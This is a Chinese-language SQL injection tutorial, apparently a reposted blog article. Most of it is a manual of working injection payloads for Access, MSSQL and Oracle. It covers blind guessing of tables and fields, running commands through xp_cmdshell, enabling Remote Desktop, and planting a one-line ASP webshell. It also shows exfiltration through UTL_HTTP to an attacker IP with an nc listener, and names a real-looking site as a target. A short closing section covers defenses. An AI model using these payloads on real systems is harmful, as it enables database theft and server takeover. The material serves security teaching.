1: 什么是 SQL 注入
SQL 注入是一种将 SQL 代码插入或添加到应用 (用户) 的输入参数中的攻击, 之后再将这些参数传递给后台的 SQL 服务器加以解析并执行
- www.xx.com/news.php?id=1
- www.xx.com/news.php?id=1 and 1=1
这里我们来理解一下 SQL 注入
首先, SQL 注入常年蝉联 OWASP 排行榜第一名~
SQL 注入产生的过程是怎样的呢? 见下图
SQL 注入的危害有哪些呢?
数据库信息泄露
网页篡改
网站被挂马
数据库被恶意操作
服务器被远程控制
破坏硬盘数据
2 我们来学习一下 sql 注入的方法
2.1 取消友好 HTTP 错误消息
一般通过远程测试判断是否存在 SQL 注入, 所以通常没有机会通过查看源代码来复查注入的查询结构这导致经常需要通过推理来进行大量测试
打开 IE 浏览器, 选择菜单工具 ->Internet 选项对话框
打开高级选项卡, 在设置列表中找到浏览组,
取消勾选显示友好 HTTP 错误信息复选框 如下图
2.2 寻找 SQL 注入
最常用的 SQL 注入判断方法, 在网站中寻找如下形式的网页
- www.chinaliancheng.com/*.asp?id=1
- www.chinaliancheng.com/*.aspx?id=1
- www.chinaliancheng.com/*.php?id=1
- www.chinaliancheng.com/*.jsp?id=1
单引号法
提交单引号, 面返回错误
and 1=1 and 1=2
提交 and 1=1 页面返回正常 , 提交 and 1=2 页面返回错误
2.3 确认注入点
区分数字和字符串
数字型
- SELECT *FROM user WHERE id=1
- SELECT * FROM user WHERE id > 1
带引号类型的
- SELECT * FROM user WHERE name = admin
- SELECT * FROM user WHERE date > 2017-5-3
内联 SQL 注入: 内联注入是指插入查询注入 SQL 代码后, 原来的查询仍然会全部执行
终止式 SQL 注入: 终止式 SQL 语句注入是指攻击者在注入 SQL 代码时, 通过注释剩下的查询来成功结束该语句
3: 识别数据库
3.1: 数据库连接运算符
- www.xx.com/news.php?uid=admin
- www.xx.com/news.php?uid=ad+min
- www.xx.com/news.php?uid=admin
- www.xx.com/news.php?uid=ad||min
3.2 Access 数据库注入
利用内置数据库表获取数据库类型
and (select count(*) from sysobjects)>=0
Sysobjects 为 Mssql 数据库内置表
and (select count(*) from msysobjects)>=0
Msysobjects 为 Access 数据库内置表
Access 手工注入猜解
猜表名
and exists(select * from 表名)
and(select count(*) from 表名)>=0
猜字段名
and exists(select 字段名 from 表名)
and (select count(字段名) from 表名)>=0
猜字段长度
and (select top 1 len(字段名) from 表名)>1
and (select top 1 len(字段名) from 表名)>2
and (select top 1 len(字段名) from 表名)>n
猜字段值
and (select top 1 asc(mid (字段名, 1,1)) from 表名)>0
and (select top 1 asc(mid (字段名, 1,1)) from 表名)>1
and (select top 1 asc(mid (字段名, 1,1)) from 表名)>n
and (select top 1 asc(mid (字段名, 2,1)) from 表名)>0
and (select top 1 asc(mid (字段名, 2,1)) from 表名)>2
and (select top 1 asc(mid (字段名, 2,1)) from 表名)>n
Order by 猜字段数目
- Order by 1
- Order by 2
- Order by n
Union select 获取段内容
Union select 1, 字段名, 2,,n from 表名
3.3 Mssql 数据库注入
在进行 MsSQL 注入攻击时, 首先要对 MsSQL 注入点进行一下基本的注入检查, 以确定后面的攻击实施方案
注入点类型的判断
and exists (select * from sysobjects)
注入点权限判断
- and 1=(select IS_SRVROLEMEMBER('sysadmin')) // 判断是否是系统管理员
- and 1=(select IS_SRVROLEMEMBER('db_owner')) // 判断是否是库权限
- and 1=(select IS_SRVROLEMEMBER('public')) // 判断是否为 public 权限
返回信息判断
- and @@version>0 // 数据库信息
- ;declare @d int // 判断 MsSQL 支持多行语句查询
- and (select count(1) from [sysobjects])>=0 // 是否支持子查询
- and user>0 // 获取当前数据库用户名
and 1=convert(int,db_name()) 或 1=(select db_name()) // 当前数据库名
- and 1=(select @@servername) // 本地服务名
- and 1=(select HAS_DBACCESS('master')) // 判断是否有库读取权限
检查扩展存储
检查 xp_cmdshell 扩展存储
and 1=(select count(*) FROM master.dbo.sysobjects WHERE xtype = 'X' AND name = 'xp_cmdshell')
检查 xp_regread 扩展存储
and 1=(select count(*) FROM master.dbo.sysobjects where name = 'xp_regread')
恢复扩展存储
删除 xp_cmdshell
exec master..sp_dropextendedproc'xp_cmdshell'
创建 xp_cmdshell
exec master..sp_addextendedprocxp_cmdshell,'xplog70.dll
该语句利用系统中默认的 xplog70.dll 文件, 自动恢复 xp_cmdshell
如果 xplog70.dll 被删除或改名, 可以自定义路径进行恢复:
exec master..sp_addextendedproc'xp_cmdshell','c:\xplog70.dll'
Sa 权限下扩展存储攻击利用方法
Xp_cmdshell 扩展执行任意命令
执行任意命令
;exec master..xp_cmdshell 'dir c:\
开启 3389
- exec master..xp_cmdshell 'sc config termservice start=auto
- exec master..xp_cmdshell 'net start termservice'
- exec master..xp_cmdshell 'reg add"HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v
- fDenyTSConnections /t REG_DWORD /d 0x0 /f'
利用 sp_makewebtash 写入一句话木马
- exec sp_makewebtask
- 'c:\inetpub\wwwroot\c.asp','select''%3C%25%65%76%61%6C%20%72%65%71%75%65%73%74%28%22%
- 63%68%6F%70%70%65%72%22%29%25%3E'''
Dbowner 权限下的扩展攻击利用
判断数据库用户权限
and 1=(select is_member('db_owner'));
搜索 Web 目录
创建一个临时表
create table temp(dir nvarchar(255),depth varchar(255),files varchar(255),ID int NOT NULLIDENTITY(1,1));
利用 xp_dirtree 扩展查询
insert into temp(dir,depth,files)exec master.dbo.xp_dirtree 'c:',1,1
查询表中的内容
and(select dir from temp where id=1)>0
查询暴库的另一种方法
暴字段名和字段值
增加数字 n 的值, 就可以得到表中所有字段
and (select col_name(object_id(表名'),n))=0
获取字段内容
and (select top 1 字段名 from 表名)>0
爆其他字段值
and (select top 1 字段名 from 表名 where 字段名 <> 字段值 1)>0
3.4 Oracle 数据库注入
Oracle 注入点判断
- and 1=1 and 1=2
- /*
- --
- ;
- and exists(select * from dual)
- and exists(select count(*) from user_tables)>0
注入点信息判断
确定注入点类型后, 与前面的 MySQL 注入一样, 先用 order by 猜出字段数目, 再用联合查询 union select 方法获取想要的信息
获取数据库版本信息
and 1=2 union select null,null,(select banner from sys.v_$version where rownum=1) from dual
获取当前数据库连接用户名
and 1=2 union select null,null,(select SYS_CONTEXT ('USERENV','CURRENT_USER') fromdual) from dual
获取系统平台
and 1=2 union select null,null,(select member from v$logfile where rownum=1) from dual
获取服务器 SID
and 1=2 union select null,null,(select instance_namefrom v$instance) from dual
爆库名
and 1=2 union select null,null,(select owner from all_tables where rownum=1) from dual
爆出第一个库名后可以使用如下语句, 继续爆其他库名
and 1=2 union select null,null,(select owner from all_table where rownum=1 and owner<>'第一个库名') from dual
获取表名
and 1=2 union select null,null,(select table_name from user_tables where rownum=1) from dual
爆其他表名
and 1=2 union select null,null,(select table_name from user_tables where rownum=1 and table_name<>'第一个表名') from dual
注意: 表名要用大写或大写的十六进制代码
获取字段名
and 1=2 union select null,null,(select column_name from user_tab_columns where table_name='表名' and rownum=1) from dual
获取其他字段名
and 1=2 union select null,null,(select column_name from user_tab_columns where table_name='表名' and column_name<>'第一个字段' and rownum=1) from dual
获取字段内容
and 1=2 union select null,null, 字段名 from 表名
判断 UTL_HTTP 存储过程是否可用
and exists(select count(*) from all_objectswhere object_name='UTL_HTTP')
监听本地端口
nc vv l p 8888
UTL_HTTP 反弹注入
and UTL_HTTP.request('http://IP: 端口号 /'||(查询语句))=1
4 注入工具介绍
5 防御 sql 注入
使用参数化查询
PHP 包含很多用于访问数据库的框架访问 MySQL 数据库的 mysqli 包, PEAR::MDB2 包 (它替代了流行的 PEAR::DB 包) 以及新的 PHP 数据对象 (PDO) 框架, 他们均为使用参数化语句提供便利
输入验证
验证应用接收到的输入时一种可用的功能强大的控制手段(如果用的好的话)
白名单
使用白名单应该开了下列要点:
数据类型: 字符数字等;
数据大小: 字符串长度是否正确, 数字的大小和精度是否正确
数据范围: 如果 是数字型, 是否位于该数据类型期望的数字范围
数据内容: 数据是否属于期望的数据类型, 如手机号码, 它是否瞒住期望的值
黑名单
黑名单验证的常用方法也是使用正则表达式
编码输入与使用存储过程防御
除了验证应用受到的输入以外, 通常还需要对在应用的不同模块或部分传递的内容进行编码
通常会被忽视的情况是对来自数据库的信息进行编码, 尤其是当正在使用的数据库未经过严格验证或审查, 或者来自第三方数据源时
将应用设计成专门使用存储过程来访问数据库是一种可以放置或减轻 SQL 注入影响的技术存储
过程是保存在数据库汇总的程序根据数据库的不同, 可以使用很多不同语言及其变体来编写存储过程
来源: https://www.cnblogs.com/Zfc-Cjk/p/8460101.html